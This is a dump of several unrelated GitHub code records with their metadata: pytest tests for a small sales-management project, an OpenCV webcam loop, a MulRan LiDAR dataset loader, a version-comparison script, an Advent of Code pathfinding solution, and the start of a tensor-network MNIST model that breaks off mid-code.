sale\n\n\n@pytest.fixture\ndef create_sale_detail():\n code = \"S001\"\n date = \"2023-06-07\"\n acquired_products = [\"PR001\"]\n sale_detail = Sale_Detail(code, date, *acquired_products)\n return sale_detail\n\n\n@pytest.fixture\ndef create_employee():\n code = \"E001\"\n name = \"Diego Peraza\"\n phone = \"1234567890\"\n address = \"Puerto de la Cruz\"\n email = \"correodeprueba2@hotmail.com\"\n employee = Employee(code, name, phone, address, email)\n return employee\n\n\n@pytest.fixture\ndef create_manager():\n code = \"M001\"\n name = \"Jose Lopez\"\n phone = \"9876543240\"\n address = \"Santa Cruz de Tenerife\"\n email = \"correodeprueba4@hotmail.com\"\n manager = Manager(code, name, phone, address, email)\n return manager\n\n\ndef test_person_init(create_person):\n person = create_person\n assert person.code == \"P001\"\n assert person.name == \"Carlos Guerra\"\n assert person.phone == \"1234567800\"\n assert person.address == \"La Laguna\"\n assert person.email == \"correodeprueba@hotmail.com\"\n\n\ndef test_client_init(create_client):\n client = create_client\n assert client.code == \"C001\"\n assert client.name == \"Abian Gustavo\"\n assert client.phone == \"9876543210\"\n assert client.address == \"La Orotava\"\n assert client.email == \"correodeprueba@hotmail.com\"\n\n\ndef test_product_init(create_product):\n product = create_product\n assert product.code == \"PR001\"\n\n\ndef test_product_detail_init(create_product_detail):\n product_detail = create_product_detail\n assert product_detail.code == \"PR001\"\n assert product_detail.name == \"Call of Duty\"\n assert product_detail.type == \"Videogame\"\n assert product_detail.price == 40.00\n assert product_detail.stock == 20\n assert product_detail.description == \"FPS GAME\"\n\n\ndef test_sale_init(create_sale):\n sale = create_sale\n assert sale.code == \"S001\"\n\n\ndef test_sale_detail_init(create_sale_detail):\n sale_detail = create_sale_detail\n assert sale_detail.code == \"S001\"\n assert sale_detail.date == \"2023-06-07\"\n assert sale_detail.acquired_products == (\"PR001\",)\n\n\ndef test_employee_init(create_employee):\n employee = create_employee\n assert employee.code == \"E001\"\n assert employee.name == \"Diego Peraza\"\n assert employee.phone == \"1234567890\"\n assert employee.address == \"Puerto de la Cruz\"\n assert employee.email == \"correodeprueba2@hotmail.com\"\n\n\ndef test_manager_init(create_manager):\n manager = create_manager\n assert manager.code == \"M001\"\n assert manager.name == \"Jose Lopez\"\n assert manager.phone == \"9876543240\"\n assert manager.address == \"Santa Cruz de Tenerife\"\n assert manager.email == \"correodeprueba4@hotmail.com\"\n\n\n# MÉTODOS EMPLOYEE - CLIENT\n\n\ndef test_insert_client(create_client):\n client1 = create_client\n\n Employee.insert_client(client1)\n\n assert CLIENT_DATABASE.get(client1.code) == {\n \"name\": \"Abian Gustavo\",\n \"phone\": \"9876543210\",\n \"address\": \"La Orotava\",\n \"email\": \"correodeprueba@hotmail.com\",\n }\n\n\ndef test_delete_client(create_client):\n client1 = create_client\n\n Employee.delete_client(client1.code)\n\n assert CLIENT_DATABASE.get(client1.code) is None\n\n\ndef test_modify_client(create_client):\n client1 = create_client\n\n Employee.insert_client(client1)\n\n Employee.modify_client(\n client1.code,\n \"Diego Peraza\",\n \"987654321\",\n \"Puerto de la Cruz\",\n \"correodeprueba2@hotmail.com\",\n )\n\n assert CLIENT_DATABASE.get(client1.code) == {\n \"name\": \"Diego Peraza\",\n \"phone\": \"987654321\",\n \"address\": \"Puerto de la Cruz\",\n \"email\": \"correodeprueba2@hotmail.com\",\n }\n\n\ndef test_show_client(create_client):\n client1 = create_client\n\n Employee.insert_client(client1)\n result = Employee.show_client(client1)\n\n assert result == {\n \"name\": \"Abian Gustavo\",\n \"phone\": \"9876543210\",\n \"address\": \"La Orotava\",\n \"email\": \"correodeprueba@hotmail.com\",\n }\n\n\n# MÉTODOS EMPLOYEE - PRODUCT\n\n\ndef test_insert_product(create_product_detail):\n product1 = create_product_detail\n\n Employee.insert_product(product1)\n\n assert PRODUCT_DATABASE.get(product1.code) == {\n \"name\": \"Call of Duty\",\n \"type\": \"Videogame\",\n \"price\": 40.00,\n \"stock\": 20,\n \"description\": \"FPS GAME\",\n }\n\n\ndef test_delete_product(create_product_detail):\n product1 = create_product_detail\n\n Employee.delete_product(product1.code)\n\n assert PRODUCT_DATABASE.get(product1.code) is None\n\n\ndef test_modify_product(create_product_detail):\n product1 = create_product_detail\n\n Employee.insert_product(product1)\n\n Employee.modify_product(\n product1.code, \"Minecraft\", \"Videogame\", 20.00, 10, \"Videojuego Minecraft\"\n )\n\n assert PRODUCT_DATABASE.get(product1.code) == {\n \"name\": \"Minecraft\",\n \"type\": \"Videogame\",\n \"price\": 20.00,\n \"stock\": 10,\n \"description\": \"Videojuego Minecraft\",\n }\n\n\ndef test_show_product(create_product_detail):\n product1 = create_product_detail\n\n Employee.insert_product(product1)\n result = Employee.show_product(product1)\n\n assert result == {\n \"name\": \"Call of Duty\",\n \"type\": \"Videogame\",\n \"price\": 40.00,\n \"stock\": 20,\n \"description\": \"FPS GAME\",\n }\n\n\n# MÉTODOS EMPLOYEE - SALE\n\n\ndef test_have_sale(create_sale_detail):\n sale1 = create_sale_detail\n\n Employee.have_sale(sale1)\n\n assert SALES_DATABASE.get(sale1.code) == {\n \"date\": \"2023-06-07\",\n \"acquired_products\": (\"PR001\",),\n }\n\n\ndef test_show_sale(create_sale_detail):\n sale1 = create_sale_detail\n Employee.have_sale(sale1)\n result = Employee.show_sale(sale1)\n assert result == {\"date\": \"2023-06-07\", \"acquired_products\": (\"PR001\",)}\n\n\n# MÉTODOS MANAGER - EMPLOYEE\n\n\ndef test_insert_employee(create_employee):\n employee1 = create_employee\n\n Manager.insert_employee(employee1)\n\n assert EMPLOYEE_DATABASE.get(employee1.code) == {\n \"name\": \"Diego Peraza\",\n \"phone\": \"1234567890\",\n \"address\": \"Puerto de la Cruz\",\n \"email\": \"correodeprueba2@hotmail.com\",\n }\n\n\ndef test_delete_employee(create_employee):\n employee1 = create_employee\n\n Manager.delete_employee(employee1.code)\n\n assert EMPLOYEE_DATABASE.get(employee1.code) is None\n\n\ndef test_modify_employee(create_employee):\n employee1 = create_employee\n\n Manager.insert_employee(employee1)\n\n Manager.modify_employee(\n employee1.code,\n \"Juan Perez\",\n \"987654320\",\n \"Los Realejos\",\n \"correodeprueba3@hotmail.com\",\n )\n\n assert EMPLOYEE_DATABASE.get(employee1.code) == {\n \"name\": \"Juan Perez\",\n \"phone\": \"987654320\",\n \"address\": \"Los Realejos\",\n \"email\": \"correodeprueba3@hotmail.com\",\n }\n\n\ndef test_show_employee(create_employee):\n employee1 = create_employee\n\n Manager.insert_employee(employee1)\n result = Manager.show_employee(employee1)\n\n assert result == {\n \"name\": \"Diego Peraza\",\n \"phone\": \"1234567890\",\n \"address\": \"Puerto de la Cruz\",\n \"email\": \"correodeprueba2@hotmail.com\",\n }\n", "repo_name": "AbianGustavo/proyecto-ets", "sub_path": "testing/test_proyecto_ets.py", "file_name": "test_proyecto_ets.py", "file_ext": "py", "file_size_in_byte": 8408, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "proyecto_ets.Person", "line_number": 27, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "attribute"}, {"api_name": "proyecto_ets.Client", "line_number": 38, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 31, "usage_type": "attribute"}, {"api_name": "proyecto_ets.Product", "line_number": 45, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 42, "usage_type": "attribute"}, {"api_name": "proyecto_ets.Product_Detail", "line_number": 57, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 49, "usage_type": "attribute"}, {"api_name": "proyecto_ets.Sale", "line_number": 64, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 61, "usage_type": "attribute"}, {"api_name": "proyecto_ets.Sale_Detail", "line_number": 73, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 68, "usage_type": "attribute"}, {"api_name": "proyecto_ets.Employee", "line_number": 84, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 77, "usage_type": "attribute"}, {"api_name": "proyecto_ets.Manager", "line_number": 95, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 88, "usage_type": "attribute"}, {"api_name": "proyecto_ets.Employee.insert_client", "line_number": 168, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 168, "usage_type": "name"}, {"api_name": "proyecto_ets.CLIENT_DATABASE.get", "line_number": 170, "usage_type": "call"}, {"api_name": "proyecto_ets.CLIENT_DATABASE", "line_number": 170, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.delete_client", "line_number": 181, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 181, "usage_type": "name"}, {"api_name": "proyecto_ets.CLIENT_DATABASE.get", "line_number": 183, "usage_type": "call"}, {"api_name": "proyecto_ets.CLIENT_DATABASE", "line_number": 183, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.insert_client", "line_number": 189, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 189, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.modify_client", "line_number": 191, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 191, "usage_type": "name"}, {"api_name": "proyecto_ets.CLIENT_DATABASE.get", "line_number": 199, "usage_type": "call"}, {"api_name": "proyecto_ets.CLIENT_DATABASE", "line_number": 199, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.insert_client", "line_number": 210, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 210, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.show_client", "line_number": 211, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 211, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.insert_product", "line_number": 227, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 227, "usage_type": "name"}, {"api_name": "proyecto_ets.PRODUCT_DATABASE.get", "line_number": 229, "usage_type": "call"}, {"api_name": "proyecto_ets.PRODUCT_DATABASE", "line_number": 229, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.delete_product", "line_number": 241, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 241, "usage_type": "name"}, {"api_name": "proyecto_ets.PRODUCT_DATABASE.get", "line_number": 243, "usage_type": "call"}, {"api_name": "proyecto_ets.PRODUCT_DATABASE", "line_number": 243, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.insert_product", "line_number": 249, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 249, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.modify_product", "line_number": 251, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 251, "usage_type": "name"}, {"api_name": "proyecto_ets.PRODUCT_DATABASE.get", "line_number": 255, "usage_type": "call"}, {"api_name": "proyecto_ets.PRODUCT_DATABASE", "line_number": 255, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.insert_product", "line_number": 267, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 267, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.show_product", "line_number": 268, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 268, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.have_sale", "line_number": 285, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 285, "usage_type": "name"}, {"api_name": "proyecto_ets.SALES_DATABASE.get", "line_number": 287, "usage_type": "call"}, {"api_name": "proyecto_ets.SALES_DATABASE", "line_number": 287, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.have_sale", "line_number": 295, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 295, "usage_type": "name"}, {"api_name": "proyecto_ets.Employee.show_sale", "line_number": 296, "usage_type": "call"}, {"api_name": "proyecto_ets.Employee", "line_number": 296, "usage_type": "name"}, {"api_name": "proyecto_ets.Manager.insert_employee", "line_number": 306, "usage_type": "call"}, {"api_name": "proyecto_ets.Manager", "line_number": 306, "usage_type": "name"}, {"api_name": "proyecto_ets.EMPLOYEE_DATABASE.get", "line_number": 308, "usage_type": "call"}, {"api_name": "proyecto_ets.EMPLOYEE_DATABASE", "line_number": 308, "usage_type": "name"}, {"api_name": "proyecto_ets.Manager.delete_employee", "line_number": 319, "usage_type": "call"}, {"api_name": "proyecto_ets.Manager", "line_number": 319, "usage_type": "name"}, {"api_name": "proyecto_ets.EMPLOYEE_DATABASE.get", "line_number": 321, "usage_type": "call"}, {"api_name": "proyecto_ets.EMPLOYEE_DATABASE", "line_number": 321, "usage_type": "name"}, {"api_name": "proyecto_ets.Manager.insert_employee", "line_number": 327, "usage_type": "call"}, {"api_name": "proyecto_ets.Manager", "line_number": 327, "usage_type": "name"}, {"api_name": "proyecto_ets.Manager.modify_employee", "line_number": 329, "usage_type": "call"}, {"api_name": "proyecto_ets.Manager", "line_number": 329, "usage_type": "name"}, {"api_name": "proyecto_ets.EMPLOYEE_DATABASE.get", "line_number": 337, "usage_type": "call"}, {"api_name": "proyecto_ets.EMPLOYEE_DATABASE", "line_number": 337, "usage_type": "name"}, {"api_name": "proyecto_ets.Manager.insert_employee", "line_number": 348, "usage_type": "call"}, {"api_name": "proyecto_ets.Manager", "line_number": 348, "usage_type": "name"}, {"api_name": "proyecto_ets.Manager.show_employee", "line_number": 349, "usage_type": "call"}, {"api_name": "proyecto_ets.Manager", "line_number": 349, "usage_type": "name"}]} {"seq_id": "23998511229", "text": "import cv2 as cv\n\n# Open notebook camera\ncamera = cv.VideoCapture(0)\n\n\nwhile True:\n _, frame = camera.read()\n cv.imshow(\"camera\", frame)\n key = cv.waitKey(60)\n if key == 27:\n break\n\ncv.waitKey(0)\ncv.destroyAllWindows()", "repo_name": "patrickpiccini/ComputacaoGrafica", "sub_path": "Aula08/faceDetect.py", "file_name": "faceDetect.py", "file_ext": "py", "file_size_in_byte": 237, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "cv2.VideoCapture", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 15, "usage_type": "call"}]} {"seq_id": "22002012328", "text": "# Functions and classes operating on a raw Mulran dataset\n\nimport numpy as np\nimport os\nfrom typing import List\nfrom torch.utils.data import Dataset, ConcatDataset\nfrom sklearn.neighbors import KDTree\nimport torch\n\nfrom datasets.mulran.utils import read_lidar_poses, in_test_split, in_train_split\nfrom misc.point_clouds import PointCloudLoader\n\n\nclass MulranPointCloudLoader(PointCloudLoader):\n def set_properties(self):\n # Set point cloud properties, such as ground_plane_level.\n self.ground_plane_level = -0.9\n\n def read_pc(self, file_pathname: str) -> torch.Tensor:\n # Reads the point cloud without pre-processing\n # Returns Nx3 tensor\n pc = np.fromfile(file_pathname, dtype=np.float32)\n # PC in Mulran is of size [num_points, 4] -> x,y,z,reflectance\n pc = np.reshape(pc, (-1, 4))[:, :3]\n return pc\n\n\nclass MulranSequence(Dataset):\n \"\"\"\n Dataset returns a point cloud from a train or test split from one sequence from a raw Mulran dataset\n \"\"\"\n def __init__(self, dataset_root: str, sequence_name: str, split: str, min_displacement: float = 0.2):\n assert os.path.exists(dataset_root), f'Cannot access dataset root: {dataset_root}'\n assert split in ['train', 'test', 'all']\n\n self.dataset_root = dataset_root\n self.sequence_name = sequence_name\n sequence_path = os.path.join(self.dataset_root, self.sequence_name)\n assert os.path.exists(sequence_path), f'Cannot access sequence: {sequence_path}'\n self.split = split\n self.min_displacement = min_displacement\n # Maximum discrepancy between timestamps of LiDAR scan and global pose in seconds\n self.pose_time_tolerance = 1.\n\n self.pose_file = os.path.join(sequence_path, 'global_pose.csv')\n assert os.path.exists(self.pose_file), f'Cannot access global pose file: {self.pose_file}'\n\n self.rel_lidar_path = os.path.join(self.sequence_name, 'Ouster')\n lidar_path = os.path.join(self.dataset_root, self.rel_lidar_path)\n assert os.path.exists(lidar_path), f'Cannot access lidar scans: {lidar_path}'\n self.pc_loader = MulranPointCloudLoader()\n\n timestamps, poses = read_lidar_poses(self.pose_file, lidar_path, self.pose_time_tolerance)\n self.timestamps, self.poses = self.filter(timestamps, poses)\n self.rel_scan_filepath = [os.path.join(self.rel_lidar_path, str(e) + '.bin') for e in self.timestamps]\n\n assert len(self.timestamps) == len(self.poses)\n assert len(self.timestamps) == len(self.rel_scan_filepath)\n print(f'{len(self.timestamps)} scans in {sequence_name}-{split}')\n\n def __len__(self):\n return len(self.rel_scan_filepath)\n\n def __getitem__(self, ndx):\n reading_filepath = os.path.join(self.dataset_root, self.rel_scan_filepath[ndx])\n reading = self.pc_loader(reading_filepath)\n return {'pc': reading, 'pose': self.poses[ndx], 'ts': self.timestamps[ndx],\n 'position': self.poses[ndx][:2, 3]}\n\n def filter(self, ts: np.ndarray, poses: np.ndarray):\n # Filter out scans - retain only scans within a given split with minimum displacement\n positions = poses[:, :2, 3]\n\n # Retain elements in the given split\n # Only sejong sequence has train/test split\n if self.split != 'all' and self.sequence_name.lower()[:6] == 'sejong':\n if self.split == 'train':\n mask = in_train_split(positions)\n elif self.split == 'test':\n mask = in_test_split(positions)\n\n ts = ts[mask]\n poses = poses[mask]\n positions = positions[mask]\n #print(f'Split: {self.split} Mask len: {len(mask)} Mask True: {np.sum(mask)}')\n\n # Filter out scans - retain only scans within a given split\n prev_position = None\n mask = []\n for ndx, position in enumerate(positions):\n if prev_position is None:\n mask.append(ndx)\n else:\n displacement = np.linalg.norm(prev_position - position)\n if displacement > self.min_displacement:\n mask.append(ndx)\n prev_position = position\n\n ts = ts[mask]\n poses = poses[mask]\n return ts, poses\n\n\nclass MulranSequences(Dataset):\n \"\"\"\n Multiple Mulran sequences indexed as a single dataset. Each element is identified by a unique global index.\n \"\"\"\n def __init__(self, dataset_root: str, sequence_names: List[str], split: str, min_displacement: float = 0.2):\n assert len(sequence_names) > 0\n assert os.path.exists(dataset_root), f'Cannot access dataset root: {dataset_root}'\n assert split in ['train', 'test', 'all']\n\n self.dataset_root = dataset_root\n self.sequence_names = sequence_names\n self.split = split\n self.min_displacement = min_displacement\n\n sequences = []\n for seq_name in self.sequence_names:\n ds = MulranSequence(self.dataset_root, seq_name, split=split, min_displacement=min_displacement)\n sequences.append(ds)\n\n self.dataset = ConcatDataset(sequences)\n\n # Concatenate positions from all sequences\n self.poses = np.zeros((len(self.dataset), 4, 4), dtype=np.float64)\n self.timestamps = np.zeros((len(self.dataset),), dtype=np.int64)\n self.rel_scan_filepath = []\n\n for cum_size, ds in zip(self.dataset.cumulative_sizes, sequences):\n # Consolidated lidar positions, timestamps and relative filepaths\n self.poses[cum_size - len(ds): cum_size, :] = ds.poses\n self.timestamps[cum_size - len(ds): cum_size] = ds.timestamps\n self.rel_scan_filepath.extend(ds.rel_scan_filepath)\n\n assert len(self.timestamps) == len(self.poses)\n assert len(self.timestamps) == len(self.rel_scan_filepath)\n\n # Build a kdtree based on X, Y position\n self.kdtree = KDTree(self.get_xy())\n\n def __len__(self):\n return len(self.dataset)\n\n def __getitem__(self, ndx):\n return self.dataset[ndx]\n\n def get_xy(self):\n # Get X, Y position from (4, 4) pose\n return self.poses[:, :2, 3]\n\n def find_neighbours_ndx(self, position, radius):\n # Returns indices of neighbourhood point clouds for a given position\n assert position.ndim == 1\n assert position.shape[0] == 2\n # Reshape into (1, 2) axis\n position = position.reshape(1, -1)\n neighbours = self.kdtree.query_radius(position, radius)[0]\n return neighbours.astype(np.int32)\n\n\nif __name__ == '__main__':\n dataset_root = '/media/sf_Datasets/MulRan'\n sequence_names = ['Sejong01']\n\n db = MulranSequences(dataset_root, sequence_names, split='train')\n print(f'Number of scans in the sequence: {len(db)}')\n e = db[0]\n\n res = db.find_neighbours_ndx(e['position'], radius=50)\n print('.')\n\n\n\n", "repo_name": "jac99/Egonn", "sub_path": "datasets/mulran/mulran_raw.py", "file_name": "mulran_raw.py", "file_ext": "py", "file_size_in_byte": 6938, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 40, "dataset": "github-code", "pt": "71", "api": [{"api_name": "misc.point_clouds.PointCloudLoader", "line_number": 14, "usage_type": "name"}, {"api_name": "numpy.fromfile", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Dataset", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "datasets.mulran.utils.read_lidar_poses", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 70, "usage_type": "attribute"}, {"api_name": "datasets.mulran.utils.in_train_split", "line_number": 78, "usage_type": "call"}, {"api_name": "datasets.mulran.utils.in_test_split", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 94, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Dataset", "line_number": 104, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 108, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "torch.utils.data.ConcatDataset", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 126, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 127, "usage_type": "attribute"}, {"api_name": "sklearn.neighbors.KDTree", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 159, "usage_type": "attribute"}]} {"seq_id": "1134950504", "text": "#!/usr/bin/env python3\n####################################################################################################\n#\n# Project: Embedded Learning Library (ELL)\n# File: version.py\n# Authors: Chris Lovett\n#\n# Requires: Python 3.4+, psutil (pip install psutil)\n#\n####################################################################################################\nimport argparse\nimport sys\n\n\ndef check_versions(v1, v2):\n v1parts = [int(x) for x in v1.split('.')]\n v2parts = [int(x) for x in v2.split('.')]\n i = 0\n while i < len(v1parts) and i < len(v2parts):\n if v1parts[i] < v2parts[i]:\n return False\n i += 1\n\n if i == len(v1parts) and i < len(v2parts):\n return False\n\n return True\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\"Version checking, returns error code if version 1 is less than version 2\")\n\n # required arguments\n parser.add_argument(\"version1\", help=\"first version number to compare\")\n parser.add_argument(\"version2\", help=\"second version number to compare\")\n\n args = parser.parse_args()\n\n rc = check_versions(args.version1, args.version2)\n if not rc:\n print(\"version {} insufficient, must be at least {}\".format(args.version1, args.version2))\n sys.exit(-1)\n\n sys.exit(0)\n", "repo_name": "microsoft/ELL", "sub_path": "tools/utilities/pythonlibs/version.py", "file_name": "version.py", "file_ext": "py", "file_size_in_byte": 1310, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2231, "dataset": "github-code", "pt": "69", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 31, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 42, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 44, "usage_type": "call"}]} {"seq_id": "36114637067", "text": "from aocd import lines, submit\nimport networkx\nwith open(\"sample.txt\") as fi:\n readIn = fi.readlines()\n\ndef preProcess(inp):\n data = [line.strip() for line in inp]\n data = [x for x in data if x != \"\"]\n return data\n\ndef solve(inp, expanded):\n factor = len(inp)\n def getWeight(v):\n right = v[0] // factor\n down = v[1] // factor\n originalX = v[0] - (right * factor)\n originalY = v[1] - (down * factor)\n unadjustedWeight = (int(inp[originalX][originalY]) + right + down)\n return unadjustedWeight % 9 if unadjustedWeight > 9 else unadjustedWeight\n\n G = networkx.grid_2d_graph(factor * expanded, factor * expanded)\n shortest = networkx.single_source_dijkstra(G, list(G.nodes())[0], target = list(G.nodes())[-1], weight=lambda u, v, d : getWeight(v))\n return shortest[0]\n\n#use sample input\nprint(solve(preProcess(readIn), 1))\nprint(solve(preProcess(readIn), 5))\n\n#submit your input\n# submit(partOne(preProcess(lines)))\n# submit(partTwo(preProcess(lines), 5))\n", "repo_name": "bensonalec/AdventOfCode2021", "sub_path": "day15/day15.py", "file_name": "day15.py", "file_ext": "py", "file_size_in_byte": 1021, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "networkx.grid_2d_graph", "line_number": 21, "usage_type": "call"}, {"api_name": "networkx.single_source_dijkstra", "line_number": 22, "usage_type": "call"}]} {"seq_id": "6226851647", "text": "#import sys\n#print(sys.path)\n#sys.path.append('/Users/takumi/opt/anaconda3/envs/qc/lib/python3.9/site-packages')\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport tensornetwork as tn\nfrom opt_einsum import contract\nimport time\n\n\"\"\"\nThe code is the fc2 neural network for mnist whose linear operations are replaced by mpo.\n(28,28)->(4,7,7,4)->(4,4,4,4)->(1,1,10,1)->(10)\nThe optimizer uses SGD.\n###This code costs a lot of time for fitting.###\n\"\"\"\n\ndef X_tensor(X_data):\n now_data = [[[[[X_data[i][7*j+k][7*m+l]/255.0 for m in range(4)]for l in range(7)]for k in range(7)]for j in range(4)] for i in range(len(X_data))]\n return np.array(now_data)\n\ndef y_initialize(y_data):\n y=[]\n for _ in range(len(y_data)):\n now=np.zeros(10)\n now[y_data[_]]=1.0\n y.append(now)\n\n return np.array(y)\n\ndef set_w1(d):\n W=[]\n for i in range(4):\n if i==0 or i==3:\n #now_w=[[[random.random()for l in range(d)]for j in range(4)] for k in range(4)]\n now_w = np.random.random((4,4,d))-0.5\n else :\n #now_w=[[[[random.random()for l in range(d)]for j in range(d)] for k in range(4)]for m in range(7)]\n now_w = np.random.random((7,4,d,d))-0.5\n W.append(now_w)\n return W\n\ndef set_w2(d):\n W=[]\n for i in range(4):\n if i==0 or i==3:\n #now_w=[[[random.random()for l in range(d)]for j in range(1)] for k in range(4)]\n now_w = np.random.random((4,1,d))-0.5\n elif i==1:\n #now_w=[[[[random.random()for l in range(d)]for j in range(d)] for k in range(1)]for m in range(4)]\n now_w = np.random.random((4,1,d,d))-0.5\n else :\n #now_w=[[[[random.random()for l in range(d)]for j in range(d)] for k in range(10)]for m in range(4)]\n now_w = np.random.random((4,10,d,d))-0.5\n W.append(now_w)\n return W\n\nclass mpo_fc2:\n\n mnist = tf.keras.datasets.mnist\n (X_train, y_train),(X_test, y_test) = mnist.load_data()\n #tX_train = X_tensor(X_train)\n #tX_test = X_tensor(X_test)\n tX_train = X_train.reshape((60000,4,7,7,4))/255.0\n tX_test = X_test.reshape((10000,4,7,7,4))/255.0\n d = 4\n w1 = set_w1(d)\n w2 = set_w2(d)\n yr_train = y_initialize(y_train)\n yr_test = y_initialize(y_test)\n \n def __init__(self,eta=0.01,n_iter=1000,batch_size=100):\n self.eta=eta\n self.n_iter=n_iter\n self.batch_size = batch_size\n self.train_loss = []\n self.test_loss = []\n self.outputs = []\n self.train_accuracy = []\n self.test_accuracy = []\n self.time = time.time()\n\n def relu(self,input_tensor):\n shape = input_tensor.shape\n shape_pro = 1\n for i in shape : \n shape_pro = shape_pro*i\n output_tensor = input_tensor.copy().reshape(shape_pro)\n for i in range(len(output_tensor)):\n output_tensor[i] = output_tensor[i] if output_tensor[i]>0 else 0\n output_tensor = output_tensor.reshape(shape)\n\n return output_tensor \n\n def soft_max(self,input_vector):\n return np.exp(input_vector)/(np.exp(input_vector).sum())\n\n def delta_relu(self,input_tensor,ref_tensor):\n shape = input_tensor.shape\n shape_pro = 1\n for i in shape : \n shape_pro = shape_pro*i\n finput_tensor = input_tensor.copy().reshape(shape_pro)\n fref_tensor = ref_tensor.copy().reshape(shape_pro)\n for i in range(len(finput_tensor)):\n finput_tensor[i] = finput_tensor[i] if fref_tensor[i]>0 else 0\n finput_tensor = finput_tensor.reshape(shape)\n\n return finput_tensor \n\n def forward(self,X_data):\n self.outputs.clear()\n now = X_data.copy()\n \n self.outputs.append(now)\n \n now = contract('ija,klab,mnbc,opc,ikmo->jlnp',self.w1[0],self.w1[1],self.w1[2],self.w1[3],now)\n #now = 